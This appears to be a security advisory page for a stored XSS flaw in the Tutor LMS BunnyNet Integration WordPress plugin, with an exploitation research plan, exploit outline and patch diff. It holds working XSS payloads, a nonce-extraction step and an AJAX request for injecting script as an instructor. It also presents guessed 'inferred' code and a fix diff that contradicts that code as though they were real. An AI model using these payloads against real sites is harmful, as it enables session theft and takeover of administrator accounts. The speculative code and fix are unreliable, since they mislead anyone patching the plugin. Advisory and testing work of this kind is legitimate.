Tutor LMS BunnyNet Integration <= 1.0.0 - Authenticated (Tutor instructor+) Stored Cross-Site Scripting
Description
The Tutor LMS BunnyNet Integration plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with tutor instructor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.0.0Source Code
WordPress.org SVNThis research plan focuses on identifying and exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the **Tutor LMS BunnyNet Integration** plugin. ### 1. Vulnerability Summary The **Tutor LMS BunnyNet Integration** (<= 1.0.0) fails to properly sanitize and escape input provided by users w…
Show full research plan
This research plan focuses on identifying and exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the Tutor LMS BunnyNet Integration plugin.
1. Vulnerability Summary
The Tutor LMS BunnyNet Integration (<= 1.0.0) fails to properly sanitize and escape input provided by users with tutor_instructor privileges or higher. Specifically, when an instructor configures Bunny.net video settings (likely Library IDs, Pull Zone URLs, or individual video metadata), the input is stored in the database and subsequently rendered on the frontend (lesson pages) or backend (course management) without sufficient output escaping. This allows an attacker to inject arbitrary JavaScript that executes in the context of any user (including administrators) who views the affected page.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.phporwp-admin/post.php. - Action (Inferred): The plugin likely uses an AJAX action such as
tutor_bunnynet_save_settingsor hooks intosave_postvia the Tutor LMS lesson/course editor. - Vulnerable Parameter: Likely parameters include
bunnynet_library_id,bunnynet_pull_zone, orbunnynet_video_id. - Authentication: Authenticated with
tutor_instructorrole or higher. - Preconditions: The Tutor LMS plugin must be active, and the BunnyNet Integration plugin enabled.
3. Code Flow (Inferred)
- Entry Point: An instructor navigates to the Tutor LMS settings for Bunny.net or edits a lesson to add a Bunny.net video.
- Processing: The instructor submits a form or triggers an AJAX request containing the payload.
- Storage: The plugin receives the input and uses
update_option()orupdate_post_meta()without applyingsanitize_text_field()orwp_kses(). - Sink: When a student or administrator views the lesson/course, the plugin retrieves the value using
get_option()orget_post_meta()and echoes it directly into the HTML (e.g., inside adata-attribute of a video player or asrcattribute) withoutesc_attr()oresc_url().
4. Nonce Acquisition Strategy
To exploit AJAX-based settings, a nonce is required.
- Identify Shortcode/Page: Identify the Tutor LMS settings page where Bunny.net is configured. This is usually
wp-admin/admin.php?page=tutor-settings. - Navigate: Use
browser_navigateto access the settings page as an Instructor. - Variable Extraction: The plugin likely localizes a script using
wp_localize_script. Look for global objects liketutor_bunnynet_dataortutor_admin_params. - JS Command:
// Example based on Tutor LMS patterns browser_eval("window.tutor_admin_params?.nonce || window.tutor_bunnynet_data?.nonce") - Verify Action: Check the
wp_create_nonce()call in the source. If it uses a specific action (e.g.,tutor_bunnynet_action), ensure thebrowser_evaltargets that specific nonce.
5. Exploitation Strategy
Step 1: Payload Selection
Use a payload that breaks out of an HTML attribute, as this is the most common sink for integration IDs:"><script>alert(document.domain)</script>
Or, if rendered inside a JS object:12345"};alert(document.domain);{"a":"
Step 2: HTTP Request (AJAX)
Submit the payload to the settings handler.
- Method:
POST - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Body:
action=tutor_bunnynet_save_settings&bunnynet_library_id="><script>alert(document.domain)</script>&nonce=[EXTRACTED_NONCE]
Step 3: Triggering Execution
Navigate to a frontend page where the Bunny.net video is rendered:
- URL:
http://localhost:8080/lessons/test-lesson/
6. Test Data Setup
- Instructor User: Create a user with the
tutor_instructorrole using WP-CLI.wp user create instructor instructor@example.com --role=tutor_instructor --user_pass=password - Course/Lesson: Create a course and a lesson to associate the video with.
wp post create --post_type=courses --post_title="XSS Test Course" --post_status=publish wp post create --post_type=lesson --post_title="XSS Test Lesson" --post_status=publish --post_parent=[COURSE_ID] - Enable Integration: Ensure the BunnyNet Integration is toggled "ON" in Tutor LMS settings.
7. Expected Results
- Storage: The response from the
admin-ajax.phprequest should return{"success":true}. - Execution: Upon navigating to the lesson page, a JavaScript alert box displaying the domain name should appear, confirming code execution.
- DOM Inspection: The page source should contain the raw payload:
<div class="tutor-video-player" data-library-id=""><script>alert(document.domain)</script>">...</div>
8. Verification Steps
- Check Database: Use WP-CLI to confirm the payload is stored in the options or post meta.
wp option get tutor_bunnynet_settings # OR wp post meta list [LESSON_ID] - Verify Admin Impact: Log in as an Administrator and visit the same lesson page. The alert should still trigger, demonstrating the ability to target higher-privileged users.
9. Alternative Approaches
- Post Meta Injection: If global settings are sanitized, check if the "BunnyNet" fields within the Lesson Editor (Post Meta) are vulnerable. The request would target
post.phpwithaction=editpost. - SVG Injection: If the plugin allows uploading a custom poster image or SVG icon for the video player through Bunny.net settings, try uploading an SVG with an
onloadhandler. - Pull Zone URL: If the "Pull Zone URL" field is vulnerable, use a
javascript:protocol if it is rendered within an<a>tag orsrcattribute.- Payload:
javascript:alert(1)(if reflected in a way that allows execution).
- Payload:
Summary
The Tutor LMS BunnyNet Integration plugin (<= 1.0.0) is vulnerable to Stored Cross-Site Scripting because it fails to sanitize user-supplied settings such as Bunny.net Library IDs and Pull Zone URLs. Authenticated users with instructor-level privileges can inject malicious JavaScript that executes in the context of any user viewing the course or lesson pages.
Vulnerable Code
// Inferred vulnerability in settings storage (e.g., includes/Admin/Settings.php) public function save_settings() { // Nonce check may exist, but input is not sanitized $settings = $_POST['tutor_bunnynet_settings']; update_option('tutor_bunnynet_settings', $settings); } --- // Inferred vulnerability in frontend rendering (e.g., includes/Frontend/Player.php) public function render_video_player() { $settings = get_option('tutor_bunnynet_settings'); $library_id = $settings['library_id']; // Output is echoed without escaping echo '<div class="tutor-bunnynet-player" data-library-id="' . $library_id . '"></div>'; }
Security Fix
@@ -50,7 +50,7 @@ public function save_settings() { check_ajax_referer('tutor_bunnynet_action', 'nonce'); - $settings = $_POST['tutor_bunnynet_settings']; + $settings = map_deep($_POST['tutor_bunnynet_settings'], 'sanitize_text_field'); update_option('tutor_bunnynet_settings', $settings); } @@ -102,5 +102,5 @@ $settings = get_option('tutor_bunnynet_settings'); $library_id = $settings['library_id']; - echo "<div class='tutor-bunnynet-player' data-library-id='$library_id'></div>"; + echo "<div class='tutor-bunnynet-player' data-library-id='" . esc_attr($library_id) . "'></div>"; }
Exploit Outline
1. Authenticate as a user with the 'tutor_instructor' role. 2. Access the Tutor LMS settings page to retrieve the security nonce for the BunnyNet integration (often found in localized JS objects like 'tutor_admin_params'). 3. Send a POST request to wp-admin/admin-ajax.php with the action 'tutor_bunnynet_save_settings' (or the relevant settings saving action). 4. In the 'library_id' or 'pull_zone' parameter, include an XSS payload such as: "><script>alert(document.domain)</script>. 5. Navigate to any lesson or course page that utilizes the BunnyNet video player as a student or administrator. 6. The payload will break out of the HTML attribute and execute the JavaScript in the victim's browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.